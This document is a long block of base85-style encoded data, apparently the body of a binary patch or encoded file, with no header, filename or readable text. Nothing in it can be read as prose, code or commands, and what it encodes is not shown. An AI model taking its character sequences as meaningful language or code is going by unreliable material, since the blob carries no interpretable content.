zGlWRi2^TB^|BmKL-cV$tinp2aTNa=*t}!2TpoUEg=G7RJ&M>F~q$1O=d8>>eQcG3+ zENm?IlD3j?T!`StFA%g840Y`y>?ICHp)X)E)coT4jph>@7JD2nN^9ep=NqlLSyQp* z8gEuYg~B#!R$4|5I9M@>cL{8vzejSSR{$Vwc}m(|&~Rkz$byc0{vPr+jT=H3vl+vB zm2JT~H`)ekSq?Jsb}io)Wb^RlU;gsyNj5B+J2xLkb6_nVzr-7*8X@OR(J7*A;%iz` zOuxZc|2dvzUihYXfbTVu||saBR=te)SXdh{y{DECzQq`d8Z!(UP8-nWMWOG zQe`|rI$|WGyqUf64PRwj2y776guvZySO7=f#NfKbS7zTaj8c4tgZCazx$^y^E3xArB0u zb`j?FfkZnCRFN~yKKw6{q0vfxT!;gUJ?f)L?B!Nr5pRVdE(&XMq9t)NKLUboBi%rF z`1o7~-H+dWM<=`A^hO1zdDv|5@h(&nVw1=Bp?29)0;3 z1$cPkih=G3rapS&ae%S0|7+y{dM1%Eh}Yjj*I8{*r0}}<;#52jCZFrK_st1^G?~-R zGDKoPhz$!)K+ab}#TznrY@pyl9zz8W_~utcMVyn4va`AJO&I^@2ho$59wzqZ%oQ&M zYUyW%TJaS(4hl^gAvdy5eMRk+c8eb4w5hH!_)G?ztk=ZfVL=inU_X8DJ)ipg;7{?f zRHWx*J_W`=MVR)D<3aw0-sa$&16+r~_g?5zyt$I@Ocyd3^+uiA_^kF!J6YWjeT0CC zeo9EEe${5!tl)QF4Y81y<3ZZ}TbmZ}>P{jdRsMQ<4Kx^%fLmQ{CGJ5w0hDRcNB8ke z$L&};WYZ!IDv8{wUCEY3uYJ+XjV%Av*5dmsA8B*$O&K-y2GMiR+IVS$F-FgOb|(Z7&8(Ju zew*0jD+5#FiO6YI1u+0I=8iW7+8cni9T$vy4!VA#pRi%U^?BcZaU>||M|nd6hOdBJ zU=?M2AwR~M&~BT7&QeZl0Z%Mb25&;>jBhSIrniQ;a_D=V*B{ec0@_f*2=9Wq@cVL2 zQf9+CD8mHnNYYHijPF2dyg(j|{=Sw-b1jZH;kd@no0BpavvGlAOyhC^% z^zL7L^^0{3E6P<|kM%&wJPHbyy5qyt%pI#^{qUgV<|@a%e9x84VZQDs^{`Uei6di| zGXv>2_$4|~Ax}Rxe{S<;oaWkhfBhT3b&;DsY!bcu=I`{@;oEvc<(B6}pEy57H<_$$ zW{oG@rGD~ka=Yp>tFKxzoop zgl$eik0UDdk$wiKffa4|g-pVPf0(g=K@ZppU&Awa##W3>?|!R5_pym~hnNE9*x1I} zf65+_#yH5cZi)U&JAYRP2v|Qnp>-zX2mOJ5eA+dpyFfLshIfIjLa(<{#sjc($;l~o z=eBVUDRtaI1G0_mLp5Bf*+-?a3yYeO8g)gV2yrZ6ZJuY zBrNHvt^;zBd}a)Bg&XoL;Fe8@v`zocDI%=3pxX>$^)mOsmcxmx06qq|hmvpk4QA_ocf=#K((Cz~j3##{ zyv93b3oHb(*h})-K(js2t^f_Rs>hYjKDz-W3Ry`baSBZ*B^UXayevn1xOaU*Qi(n# zE=s4#2YmY?9AR@9GKpY?9~m_SL~~UDNa50t*!jPL&)wPczyZ-&RQ?S)rE~c* za*D7N>bg%@eCTHUB<_+a!6wuTXqa7Pwo|5sOUP!#Qw$nq(aU=OT(8@6vWF|3p3-S@ z44xRwZ4BKoSrcd*!S4Z|Tz&TNDwGxTx^c_%fF8oNse)0T(}6rd-PM9W`)ShbYB;3| z0}Fuv?U&{^EKBNifZ(((LGzu}pmoYb9+a-I_RMFK?+OCmurW~=X4Ed&t zJ_(tWBYRjQP4e*u06!+4UIg%y#(}6xMTsJ9BeIYY*McHU6Zn9bPz>HF^ug|B?FB2KnzkhbG^icM8g0+Ui;stYH!%7)CY z%Y6A=9sw4$u=$yHNF_n(-bUwHjz8xRc1&%W{#ZCHHh^%Wn%jx{=rLcYo}!Zl?>^6~`LC6w}a z8DjEItc;(-z7$UK6i^PDuqOKGop-MO{r~(wuKxJX{~YTasfP6t2LL|O$F{fEIu;_U zXgy1T&MXttUy+ED*Kj)CfOD?X8{Ej6Lp{3(f^O2Ep?6||H?6B^DkR(WfY&$l7shP9 ztMh%0XS~f!8|U|c4s^I>S&ShIq7jRfIo)EnKbarBRk34GSKo>3plAT-w4YO@u(OCm zs%hL9$qF?hrafhBBgr3>{yQZ^14=xhaWxcITCyq3H>5Zi<7ct68x}*HWSz3l&oj!M zM2ay8?2+7HM#3Pz7Xo}2wj`F|9*Iap7R~*Fotk?pbDznET!6LK)o?CB%{8nsJHjk@ zPu_4{6GVk3NMSbf&Pzi`d~($W7NT#0=Cvs zEqR-}O#x%$&L}ad?DOAH+a$DNj`ZZW$q0~4?l!l&uo4J$!iuziTe(qAJtU))8;n!V zx#N!%9TN2NCVC2HVniZiT^%P_ik*JSkol-#P|4itC*ztn!riVrlBQ7d>4`02qyCn@ zfp3V1-DM+Q>LU<0*iD>&Wi(wR&o~j=~Ub zd5v~f%i72@ed9N_*=bsI0)w>EAu4`7uJncNg!dml(h9=El_w4>Ej17&bJD3oN*^rH z=LPsEIfhuSA6Y+Mm|P6mBCugm&lMt^RPyO)@?6Ib48kqMo%p=c&jUO6yaUU>;b!4E zk@}Uc(cnZ~p5n?$bKt06^$I$R<%e`qlLa*NC)ddOB#<8BG3sFO+BoECr%j?94MHc} z@)XLH-m-nivglE^UH*cjl$?0vwPvnB;Wixw)qlgOFd{Ujf9^C#`h?)~CnKR6y{a++0tYPu;kF4rOf_l&uuV23b8cJ}N`O ztv~+ER}#@a>eWya`yQDE;{-Ma)A)$vxD(lOsZ3nS;=7#X+quJZVm;t%eN>m!C->)8 zV?BDtXo8M0K7A!)@)g%g>tB*{@t|h$W*Iw^3|JNV0}?;0cF}JT3WA+@64>)iwDBJ# z-JfoM=IbRmg`ZbTq~Ljyl~eprz3`&0y}BX)1%H=;{*{it{)MlW(!JPRQ6ZUJ?*j0A zfi3{fG9}{T({Fea0plkIsjWjNH8uD!hTZ-03twYIcIe%q3cM4Zi0$Ny7N?-;%QE=7 z{q3O8CVa22;DFyal{?1^j3WHdhxIfUXoKp6rZ?ch)C0PvtykCULG6Vw&ZtMCb>ta!b z__x!}l1}(3)kvisrV)racpW>~{N;N>^u9vA!t5Ay!A#YJy?^MhY~bIaptpV!e_exqTZC%W*Q zF1_u|>(KVRuD1+X*D_A!dNAr;-)dp9$%$TUs0-FyPinq=_QxN`_%l?s2;xF|{r#op zVZQA!y`8y0pNrC7K9K?UW38R|5cZvyzVJFYPefa9npgQg*b~n^fAz_eH+8kqXXby7 zcFm{Ej4jY(EJ*qlCc{xe#Z;&0n|6-T6WrB}aT`6fdy7_}lkv`Ng6hp_N*$4?9`$9v z>2~EY@vh$R<*GK%s{&>I=K4OKKfE3{`aZuwIYI*}LX^{Q-{rb~L0~P8o>-szdpW6g%Yv-qAxDH2K=YRN46G?x= zN^O@phIJcn`0UB#@r-tgEa7)YHkR$0f$QGcu08BadM1@HCFoe!=){zh$)@8bO2ZFA+DB!&;M`XeXf z4XW~U5(!HU7^dNE;2WJJr~G}8Obr0~LaxWHmzj+FJe$Vy`M90Q1?v?rz?$vUOllOGUj;gA^vPa@6iUFx!%w32mHm<;|ybsI%(q&Ixt`4 zX)?7;d+>MPS3Bgn50|wPWsnw(7s#xgcn*pAYiAv43i<=ME$c}wGw#J-1Ye@}Lh%U4 z(rV7@Qm?xMnNwxxz^%w8E&$PS8#-ckK|1(BzA)Lvs{-u+oXH*-09IaW9LPwcUBq=y z_+gu@mJiG_c2zn6N+Yu%chlEftgRk z#jSBCI=$s|fXqpbnX$$bF8zdS@y0iEQ-B4E))pX1p4bMcQ#lNjZoUwhi8 zOUBG2Gl%|7HhNNK%8&e6ijtj$-2f~JE!xMh)Yn>wHQwM7ymQWk6+QuyUz0BeuN(xc zCIWDhw$MagChfdqdo03}5ewp{ba&-n>w*0VKR9C)#HEM>Qe2eyrB3vI^yk0Wkak-S z+6+kX+ePw3|AY);&+F6|1U~=d=)bhE1fiN^k`AAI#2j|*zjUsA3^kW z0u89v2MZpqZ+TM2`1;_T^x#PuM>#c`FrYzXTM3C~pQ`5Wd^ViE(8m_{+!H#XjWOB= zKP{G5N8NS9pJed_1JD`XgU$tj0`U|@|8yT^ZKchGufDkYL?4Iz)4% zL=D>ep&%1{S=94zygndXuc}wR3-I|=55yIB4FhXEQxG)MkW;Rt1zzTLMkFpS@#yb9wb8}^w`2AH zyLx!MqeU^sOX`}k_OSl%I$Q%5g z(FYlSMA5IF`t*~MI|nJ3Pef`l&ZZON!k2eGQ~kL$&A*zu&sv?uj}RmM0!@H7K~Sv9`BKO1ZO$$pa`#{A;NPe`SF2$&dre?+&DqBqBlvhW8*_GI)#v<`L5qj3 zqv|S%+pZGGPneot!_Egmzv)z!GZL~yO7HX?vwmJ-kPrammq&almqyf(359<*9#!2-`!B8b3 zWsD^Fvk@N~>f7}Pn-zcj$A64I)iz`cu^wc@oB(-1hQBsVf93A|de=BW(NFR!KgRbM zM>+uo+~WPGrXGixM%q+jpcR#I*sd0tdam(3@-^RK{egH%&wAsVAGKZQy#DdccRjDu zXVb0nk%NV}o|ish%(R9?5gA2ih($ zqkXSZM4_O~hnzpV^}*HG-!ea>)TjK?Z`{{nW0f^H;}mNfHce<>$cSSe;H@{-D$o8{ zZ(4{iAG^okluWbUsH!1tX)j7=tbIiD3Wn7upMPO@T{em^Ld*lqN4)(<-&$Rc+i|5N zeX8MJ(r%I%D2YZIx=A_-Gx>=?83PdmAK%crdq>YZs#`Zd=y;yfIyf2FPyC5!iA27s zw+RDd@*NrYG4Qe0U7g#vjQ(saJ@cbmJ}9!n5Pw=92B(f$zxx|%3lOw1I{Q$7!sx+u zYJD8bod!$B`Ilbjqswu%Shfh$7=Jv^(v~?8}~G?#BS(MEsrw|{%})Vcwyag#ZLA8m1}-*c04GD$!AHl1WNv#amC@uy~O!hi)W z{dGXkavBRb)UmF!b0B3s!W_%@oIIzfo!A*)b*DF?Sc5ZWJ@WWtvDPeuFnWkKDq}d~ zlX!JQHF+-MM%0OifZS&?5gZP_{P7?DFN^8cND9O6Sy9du4KWG&~q;Uv7Y|^m~{km+>W%?0+zVq|6>;{aJ^dr{zeK2mkDc^JIAM}6bv0VFC5&Rqt zfBjs}qN578hS_Z7VA>0>{nV;^M&C+0bfU@gm#@mxyb}k!&pRaqM6jznCM zOb2`$U9^}qvlJO${52b%$tOF|g3=jzoK@{4{0e742=c3r{;9bBL|-D_1Zn1`6q#yb}({t<`M@RN88(`{L}Pv_vqkkF`)- z39Ru2{A~27ah*lH41lg08$Y49?8Mp5&Qh^_Dr7Hb4+Lr&VFeIHS@JuBthbf`$+9B_ z)&kKnYapm^hQbQ+|BY}KIQ?@{_X-OQuqfiX5GKT@`r>gA!AQZR$yEYAiKPX0x;;IA z`riA_zN3Y}7g}_AAld_LL@)v{G2(c=mx+Dfg}gk3aT1(UWGuq{V3Vg5N*~At_tRQ* zy!=Omgea2lFxmoUcW1Nc5c5i`%Y zTRlH!S|6aOKgvaW;^fe+KfKk3Ce=**pGb3J%pX~lPTAn%0kJw3wZ2n3PkhBx9Q9QJ z9gfLvDRMv|cWbCX(SKsBU7;l;NrvArC!B$ zP8^GH-T->~5&7P&x>V?4k(h~pvo z)CpP0Qjd%SY*yHKuT2%ZJ|_g@Ufv!Eu&%=hw8Y`XI3lB^9tvK1)(xGFXbB-f z0V;qB(mpV1JuIWl3wpzXw#;0`*ndAA^Djm*+6_F{c0hk-Ze;x1ou8RUbRRzkCdQ)E zu9UF>dV^NmG%qIT^oE7{ z_WgJ3z`Amv>#aX*NRyDHJg=+nFa$F1 zZ0GfSgDVW9)XO*8v|y}b^O-ioSd#Ol=W4w*44s!=f5XOnWQx=6$#oU!TW=bCrteR% z2_5a|jE=}okkU^**L?kzHjY2`)kPT7kT2V=jV@~ItfQWLq2WO`((E+!H01ROI z-q&}x8wo3h<6e&s+zOMdBR5JxK89;fPSbw&#tr7UC!T-q>iMr;^F;Biu65jVK1{;; zUE@0&QLA%*@bg1^PH6y^2i@jxL1aAS*^m1D`pz$HL?6AzA~lR?)2u)E*gMY%PYLI7 zAHXW|h)*BSH0Qsg@ytft9M6!WILgnn3x-z4e-4yY7jOQu0m~Z}qyJYJhfQ~;y@64J z^+5)Kqi#xmLUsfvPJf)GKUQs`w8e1LM;xU1K^Zra0Bc_Q6Z0PH7S?&eGYCDPaf-Q? z=S9XC)>Tzp_kSCxWgypPh1(W_c(H+GN6u0YRvj#GeAS%lmp3eskGi4F<+#$pr$D2b zIwNmSgiNaisdO^`0DVI?;q7N62}V0)4gQthEMraV=l9HRK5s2O|H`Z05Mu6U%@<8H z>B-kK1_y#T#Ku_2M$+nB-#kCl&$F#d3G@?q`&&LeePDCg@_B6*P`^)W1B*A3_8iZ| z=CAtL+c4?R?=I(f?#S^Jf3H%!VWYB<&0!a0J>|G251S9|goB)i4tCVD+ayp&l}_G; z4w~P^U4T#biS@dL7q5Su{K8EAy0jjaEI0W7%~7t_#K-vUU`oVYOh zGO@EDI_3CS-De-(y87h(n=ygIJAXTfrmvF(kLjVEhixygcHpvZ`5-4BWac5u6TS>x zJlIf1m!Ebc$ATMU#52t(b#&zi3j&NfEWB8Btd4~RC)W5e`TN;KKfp)7k00Q?u!&wBrOaAfu~h5mK__5%?fvOUlu z$LeSk7(_qQ2^+uV;kFdqXV`3YBQ>D5=>wvLOtZBUS|uowpOW%W!+pZuID6$)*AWjd z#8(FzIJ5=+!9P#zW4I-pjyA(X7FX)zFZ1X#YYFe@${0?tVZ6e)zd9boxpsvg?Fm`j z?(qunUSBNPBPb+fupHLUOs4`yX-CRoNW@Iff96th!V;q~8<)t>10l}+NNtl%3a(9| zSz#RZgHr2jz@bl!y8JNau!)>?Fe?D)V~0T!UR(n}+dDVjAUBJ7+Ac=di}l+?a9feC zvk9(}p^N;m>yt0O;65!Jqzk^{KA5;(_jz;{lm5pYfJWv(z!|kTzqZoXX0T6wv0O z>5ET3)`sWDemGodQ(x!>BY4!uX@z|J&byi?KaMu8zW$wDn?$Jji|aptr~2H2KhPY? z2bUkzRako`!kH64Q@f;X63(?}BOhK9V^113k)EJ_G_O>HBl`8)gZk0iFMLSZeQ?oJ zFo?c>`;iZ?9#I`I#%$_G<2lB?yh3G_P|t>If9N;=j60-qL%rA+_|kM5IL(O z4`}_fprQ+DC7XljqBnHL7(@M}V;;J#d7T3-{@v8~IyP?1?{~iV%KgIg`pz0HHhRz- z?OOAC6Z@{lQpOex{V`t-8R!>`M{I;)ymc8)6<6}X=beB5cdwbhzSH!$k$X)LQ3(X; z(9_7bf${CPykX2qUCLJ->!%l9d(~qk8)8&dmd$V?no?wXj|;#Xl-kICM%NDh_*Z}9 zb#A496h=25OEmuGTvcJ2&smr8hE=ZXosSSv&YB2efLxqz8ZQE}dx+YlU5CcetIvK4>Qx3M_S~YMsz|o1?y2Be9nE^*rG715f@s zP9)y&;TJ#tMwksY(bf9(BRzZn>0kcY_4DIj{jJx#20QhqksS3r0|y^iwQ{ueQFz8` z2#wH;USgRazUdbIIo=vR{fV)gH-h~ZN})m!TfmDy|Haia+6-h~&-HK67{J&sm{Yj| z(BG#US=M#uBVM%s)IaHrbF5L_FAE+)*1IqN;+Hy1_)6GC@=cos&Ic~l2e5VA(BYlx z+~-`*i_UV)b|&oR%utT*YOeg5hN-a^qc%PGf!iVy$tC#~1sZJQgbri4wBt9Z26 zx?ajrdgLa@l~#l3$t|$P6Mgkdn;>hJA%Hun&CHQf8Zm$qCXpmwmcdD#AFtx}%JhcNqM5&~iI$T9E1zDEJG58WYsBYXdk!&$I8??yfm8)$BYafGee8Qc=nNt- z#MJ`O5&Xf;^6@9j*R!hRBsS@dTL^UcHBev_Bo-7)dT%Hrt%s_RCf#y+dWT#YxA>Z$ zd|?tws{M9mic^tKSjM4-5D|07-D!GjeiS-75wi5Ei<4#QA9 zsBaC#23Y<;&!-LaK*9p{oMU172)~`pf<0Ue_dIOzF=iGLEc*F~B(JQpxKE=yeS$^z z4Nd&xb>=;a2Wiq3gDEE~FzEQrj$)|JS4#c*y$o&`ELddRFaGd`2b(gV>fsxsdR$u) zwHm#y)a_0&&;bvHdk=;?;8PL{6gF9G)K~dF*VQxLbTLc)$*NsN$n*xlq`*Ji3OX^& zOnf)|2>6uHr+0m2(@hzqxucuK6c2Q((cJVvlkQyqdf4I>YwE>qrYz`KBvLkvO*}+> zDdSjMCpWR8AiX$}{?qp#4uky8!=oSUv~b1H9tOKsAbTyW`bc{C8Ey=(>4|3izX*>W z-(Sl{oQ1g`Cbg)hJyV8sy&tJB?Y5)rCo+<8oyBdP5@o}}t`*ziLf`yAn?U234mZ&z>L+%*JuGH6Bbb`d-J;hcO(bLD)uvowjp| zf8fkNC2wz~&ZXH+mTx%1b>dioD3p^*H#n!!%q|#xQ`z zw~9EK#zT8-h;Sv!JAUZHxIvlfyyo^ST9>%Hdh>{R5CajX9FcO7bRv`a;h%tvYMgLu zgeq!PU6U^g!*!fQpEqn7-tBONBywI zinS2Ne#SKnVmVqSUu&?{`$)S#q38vBJZJjbaw-L57XKwT<)ZIWp3S_ja-##r7Ieql zu)2^VrO{iiT3a!1?Hww?80w8UpXBE18K^O?^9InLeINv55#ualQ9A0f)@P<4`Jd_P zOWJs)aRl4bk;Oj?)sqSMpvPa{@tZp@|5C>47w=5tUvAhwqs7&HWe{||25Hf)^Q zp2suB05;F*oB6E_kI8lH>g0N0BX`ds&?5_2Nw4+2Kt(j^q@O^hF%Dp{iO70lT~jj# zJfysPb+jYCU&AIh2YGT%=h?<0Tts*kUbvo*)n@r7nvBythjC>RZ))*&-_d;BnO?*k zplqEh!W!Q%2vBZMdJC?)j@{Y^Z*Fr4g~MGfl{4j-L<;-CB}i zX#-%4bQA6+kwSkT{4Bs0?F5ROhYI4d0M`nYCFquno;MR)lM}Cx2k62mGu~Fn`;>BD z+1yuRR}WrFuEVuKY_!Fwou1z+t1G($Mm2cn+I5qHWXJ!=iLxEqVY zj!Kq@ci_md@X;uy#sXd|SZrwbrq>%~rsQNdnoQx5iO|b%_fMpB-6e2=bzX}jW61)# z*GCTojRec&lz*hRoDL8<8&QJX;onJ*K+TFI!MOdP05P?#+!;)Hy5TSd$c&}Hh}*M* z6ch{Jh{oS6ocs(bqsv@Ddsru8G^t?_VDa=rO`K2an+D!+c;He~RVOwDJW!(_{e16s z>S}_z_Xy?Ux+DxO7_wQoGV!y}xF3$TpGIx2Bzpf3fA9$tH0t(+n)SLa6ZOqE-}J=J ztFrfve|zA#t?N~|8`5{aYS9sn3Z`Y?=Pz>Z*IyPqJWR3p{X`G+T+PG-Wt(LN8}u+@ zJ(SV~JV1L;2~J+ZB%HKdaH!|M@GT4V86J=^K=OcBuitTVGf92ik&QMjraAG8F@Y0| z)fhloSV&?Ba=9!)zj}EBsgfH1%sPz-9Y>cGrqUAoE3dwjyUc!LJkCtZa z1tOxS`*uO0JXt3D{AqOY6m?t2D6H||sk`&*_l43XnEiz7F=#JrT7=<;eu8UKiU(YQ zk9mdIeRL)s^!KR(Fm&09ZRwD(Nx6@D52-Gv9`Z1R@r@L|6M*5M@^O0{A{}x`O}U6J zM$@hO0)}}uQ~6<_SRICa9*)U>Ph(ilOE4TYzl^d=ET+YjD;+b2(7`03BQ5zp08d38(0 zy>8gkHh=PWNB|gR8k9gND2E2e9Z`DI-61J5fXT&$f>1o=5Rc6RHjOyBS?j?keB1cP zNzBgQqO8KG)hda4iwAM8QqaK!HVBuxYuahLH&jM^ap=>yBk=K+woQq#`eCU#EImx zVd42n8xlE65tm8)g*vPLwyn6G zwd+eU&$km?i&#)}pE8H!&gGAP4YpG)0cCldq|x!iiG;_MKCj33g7)Th45H`_qwrcE zNK!e+Iv~cCZcsAA_~SP$+Cc=2F)0rRW!}-7KlCZqBi_u$$hy~%3%!#;1Y3V65oY*W zF5U?JOzXCf-@WNKWWV&C_j7+`Jftr%KX4%C6J6)})g5i{m{6OkI?)~oiCj00|2Y{i z$fq6{+dtAK(4YVHUu6{i&DEEm=z7Pje@>g@7BM0*{!+Km(pqZ5(r`|>BrQML0Y1^% z!8aOz^0x!yq?T`$=@0#$4SLo~AHDk*A87DL(9ex)NA!2neURb3o8DCW^rj94=p;E~ z{!pN$-@*KDN%RNW6u)V{@p_vpL$xv3`(?~4!BO(GzGKOxCm#yac;+|EwK2?i_F#K1 z%?%yW9_AZa;!7KfIR}cZd>0oJK>cb12*LW_7)u&l((k!zU`vk_p0{u6N-PZhT(^au z?x*AJ3a+^2s!a^$Q6_nA%t&ylQ#;)O=la82dLDjQbI1#?{?u>n`5QTV2S2O={fUNe z#z8U(FFh<}baoqmz-sYRb<<1Lc&+1pa!eZN>AgSv-s_?t|Bc=d)3r;qq53@8Y2HJC zx2dtK-2B~d+~%WgN{S{32OZv%-GH}W`8FfpP`aP|se9gZzWLiotrxbxhdI6uUs$R1fNJA)D(Oo**$bl`Oj+H=e zYV>FIEtB|l|5%i_6|bc z6j>9<+yDS{#({H*uxH3zl-+n;S4_maF3z=zmE{kg>YeJolr14c93F7BaQ@)d)vdSR z(u2akSWX^bc-@qfD@>v+4*7+F?R-Hdh-uU)g4}Bm;%1S31Q>YaVRNNt_L#NN{^md;C(HX!H}V_Mx3%C}SgW z3_xPgcr?t;bV@$pbG>AE?NhC5VULd@>;)#^`zY69o&AS)fdQWW;)kL)f2XTHe(euT z`?PQJlI}y)NXX-7M)%b?XM9Kbg=WdVsdl!ALzL zE~oXjC(*}MWwcT5%V*P;vC!_Ay_jo6*YE#k?_Ha&+m7lmNeFB(#EGpksg$coRq`n* zen!6LtN*d>RHafWDpml4O&MbeVF3amgb-4CjPB9hv*(<9@8@}+_nc$mb0IfAfNsFrae5u^$!on{dboik$T#5zderUX{+xq>>7xluHjD~ z*tvbXzA6n{DdPW_7X8OVZ5-QJhj<{2n*91~-z?KOZt3=Ve17~7nd7>_Zwlancx>#q zeF_=hFv)MM$$4ruKXz^6w`MRucI@L?gpK)Ze(>f!uA!KpzxgY?$zkW}zLxe+43bCY|2ySxG2 z00@SJV@k#C+T$ln|K_KE&4*R^h9BNk`2~B^Vy*{#D;Ymsg%29wUKT%dn#W_-k%H(y zx#hj4jlJ%-aUX_nto-rs{T}b{aKFv9*;9Addiyr4RjFJ7JDq^nEuF>MQT2KW|6Nc!w$T<40+vN8nH^T1|PJ^FUX5|1dle4ALvG%EH(f>9tud046Rj7 z)=H#zQ5ya;h#!_pL~1{#)^B3?j+8O38s5aD5CsTeY7-CDh1cTO<1Yx&7(_SjdE>f* zlUM6G7YcaoKk7);^iVPbhc6;|2s{V*wV2Tu{TF zO$tOGIbzTN06+jqL_t(z7Z&PCDdT3yu*brdMuZ-wanw7g`A50!gn}*8I{d+Y<#oQ* z)`KT+))5)gAM@|y4~8?Rtcr`U>_86x06_KFl8~iq;)WG3w(z3n_x|<2;?2}Qv)|9e zA2|KBZ`p6(+9xyd;#Mzya}9&=wnfLWa`AuVx&^$=4qk9#Jn#YwpC<8#$o_}y@JFV9 z)&6z^ZkS)Hx24AmUi?fD-lX`hebNhm91dSk=htg_(a)okHQ*-kd-j6kZ}|}0f5Pco zzkyHm{&(-n&reL-jSL>jBR{@9f=@{CA)Sq@&tc4Dtmjt#yG6ZOflomF;5*;tjqi7U z_jmcG1zt?zs*9|?iXNnKP$E4F#^yMMlRt8pjQLdrWqSyYH;izT`JLbXZ9b^@#ozo* z-Y}o&@PZG2$P`~q@4uxhtUnO4-yXOA;zd#3Oem>cSsC$ESYra04$gzHTo# zu;Jk#{)Pa)rj8eF{G^V>_#fK@!q4P9CZImpe6(yVFedizxXI4eBaXOf1XSn2MvaF% z{s0r-AZai9W_;-W31fV^|9keEw!gzqMgGv6r^QT+v0UVA+9yfOU z;e7E2|JVO%zpwk9uYKz`{zv|y?O(N@7Q#2Q@bH!|PG7!GctPamJaSgnLQY!1qC1B0 z9&;A0b5B{cNHA8+>r+>Jds4i4fQR7xnL>O5b@b8Ce|R7sZ&(B`YRkg}^Eoy=;N?8n z1N;8daf0=EIK8nXoVVTs@4xMr4uukC96vbkV{zfynm_TCH$`AX3*n_ zVwdZBJiP1>A2)o%B7U0ikguO__~4l5ZT|z>=j%Ft>db!nol==6(Le2hI`rBked3_}>#UUQowGQ54w+wWt;A6t&@vB3uvt+^&`Q79x%(Jjlbm z@F&Zn0G*y5)dL@K6y8#7u`c&#u?UZA5xI~;C(9e?PzKhY{>B%+b@_+C^;;Z&j03)< zjW>{fd7Q5gG>gg4Pe12)^4w%^RQ#v^_uKpwIo`ZOwJMbt=q38o6}*9fYbol`2i@lR zj6Vg%Z&>(GQ&mBi{9Gq?-M6)gbK0-ihv>dGe!&svGymIh|IOEaV#jfPsLVOF6l#V~ zxdLVRZpYCn>Zy&i%IpgS_5G!N80;JNni1oLp9A~#|LK3WKdk)ge4VXtEI#E9fZq7R z>vw$P>$~=v4K1!wIG16O>U_7X?Nb6CJm!eu(2`bs5BclA@NW*=3DJK7%)TkWH(c8F zSUu-+3XlcA?9R7p4VLLvM4BH6h_HVQjOb_-^mDwPw7#&eq88{uy~;u|#h@aKQD;~M8Pd{fNt*o}~bY9ng-@kgrv%<})+ zfBi4N_QOB>zWwcz-?V$w-{5%S+i!2#GQYhB`<{KP;yb_n?XUfZ-}=A#Ef1_Q42Gun zExezEy(CvK5@L-W_$>F!U=+` z#a1upH4TRh8g za4p`94<2Io-5jqhc!z#Qi`QNWre2A`%%;#ceq3;P7XH|!x4e!KS3#@}nVPfGQl+QFyw z@smn;n1P4?k2h5osG;KLA;5=+gM7$tFS_vwBCKaTB*wP`@Z#&&{^_^);23`>(LcEY zqCv(KHiLK&WH%7F`THCD$}2xHZh8LLZvOB|67cco0uJH00sX5##aEGk&auH88@Rc~ z@3`WI6fdxGGe18GSYv?P_DM(lLwewc&+RUkWd^A|1Lqv!TLAbJ5ju#qh~E## zhKHX&wg(7!(aqoMwDIEH;0EsZ{~dpthrrnJ5C7TR`X@2l8y4_eKRkDUO~Dvp4zL#R zCK7c2R8)P63^wIQJcnZ;^52%mCkYXYpXou{H~!IjtC?@W*?53+P$V4uKe6@x=k`fY zJbeA3eX<;X{Hu>Fa$M>yn|Go0c zQi#!_~jE2j!T{ zAJ|WFVEp;w5iz#$Mv<@L@SDc=0v4Z!v==sr|A+RVi(7Q#FKmtAA0F(WuU<9gzzVW+ zJkA+Ev2z#Z?vL#u1>P{i8y5Ko0IfE>X@=kG1-~|a;t_Am+VO%H{rCgeJ+E+Ei?lvE z?uv22@ryp<{ESa{;${~wn*Z}3*w2vQ;Y(aM@Vn&rnJion@bdzkhv;jk)!Jkd^JCrc z6KVEf5D$1E_YH5V;&|dWeE6mrS1PY-fBQ%NZ5PZl)-~R+z#mG)-?z~l7SFD0IDg^V zhVw1oFtL8~jcuD_j5Tui4KG}AY~aP>e1k>ZMIZTF=A4KBWY>zu6CfNbc(a9{w6}Ad zodhufHm9B~hQFt#%-$Oa>*h~wtbaD%gv5Cs=Xb0N9LK&@WgB4_Fow7$;ti=E+rxA` z$nD!-*dOJ@IUeT$oX>yEpCT;mT&{C)(V zR7750LpV4dh&PyVzQrHS#+z68IV4|aK62dGE`4r_>#Xtd`fO_)dHKiU@n+;7{Ci(> zHYRw0{qlzTqFosz3YAANf56kCzs_h(3lqPK*)|Iq<2m3bcKyL|{x?6ed$;fZiM>f{Zw%PD^QS1|p1EH9Gkn`&Jn}xsYQVKj zV+5W&pGPFtJMT;RV88C0MC?`C{ejhtb29HkZ8CoKd;e4rwm4_wp*imV^NnotD1HGq z1z7x4&ky*Z^!K+%w@i?ccPmIK@ZRQkND!u1D(&zSW2N z>r?GMf_TFbbA=BupwHS+7hcojc*Qjs*JGY9?fQai8$Kw8^Be!!n`HQA2KLiP6VCG&&X0KAf^U)HZ$|g>UfQ z731-bZQbME57#MP*D&90zLLji_*w+>Zd`ciji3L)HxRM@a9@RE1IKgTBp}%Oi`S?; z4u1dlC?}^0h{0=f{&d*5SLis&_%`pK+qmIeiEp~&T+}}xh->4IZB6h#fMf0bS3Kt5 zEp?5+xWjfDeSGr`_jb6a{O<4mw)F!K;cLU|X8b|$AJ`iJ_%^<8k#nXtC)WyI&)GE+ zA3VT45UzbcviZZe(Qw`5JlI;sJe=l&^I(1BoLVfdOL*;$Z%pA^E*JxxUwBUvox)Mf zau{dda<%)`@7eLk{Pv+S{4FE=JRIIw=CN;U1b?4u=JzgPPJJDqcAU%q@;`r%{Xw7p z#A?9tKhLFz=efBWD61vCBDzxlRT8{mwQ5cQ}mKPlkk6k!mAErCwO@InBK z8T6a$=`%AaNa!cM<-`-*T-3qgjWeVjJj$Q-?4=bqK=yAOsGU!A$j2=@?et0#JO&WA zT6B!4+N~J*EjD_yNX(f7Rr#Wf);Z)R`ml4y)gAqpf9Zc#v(xTlofZd+kQ~_w8*cS9 z0O?A>BKo)m9pSdSbX2^K#=aF`nog4Lm(O#qnj^43+ATjG;P5NG_USM@_`-t;zk!O2 z=A}k4+`&JzPr9SUr^oPcOD`O;c60p(FK(#tK#8A@{t&7>3didZ_I2$*NA8vNgN8Dhe4%|Gc2K*d_ zuRm2B9k3>EHPe+sg0ObDrffWZ<-fI`8N&mk*nq}(}v?SBLrpAhD!-R;==y4{fGX6FyA0j_Tw7p`x+seZI! zZR2-v{n)}AitVe+RvR8tR$67JhSHpY+m7y9Ebu668UUhu~R;lOdiV-3em978&Ps1+B+^rtw7*jVF*03JT*c*YwN7#Dmh z7h9%}KK-J78wcMEzki*GT;%TP;+F+(TRkthT6fIfmBZ+63vH*N9rGkDmd z4KHRe9$1ffXkHJ?g=lRn1rPJ_iDmSUUz@jcKrRal!8r`MdESm=noL#)#sUu)cs;QB 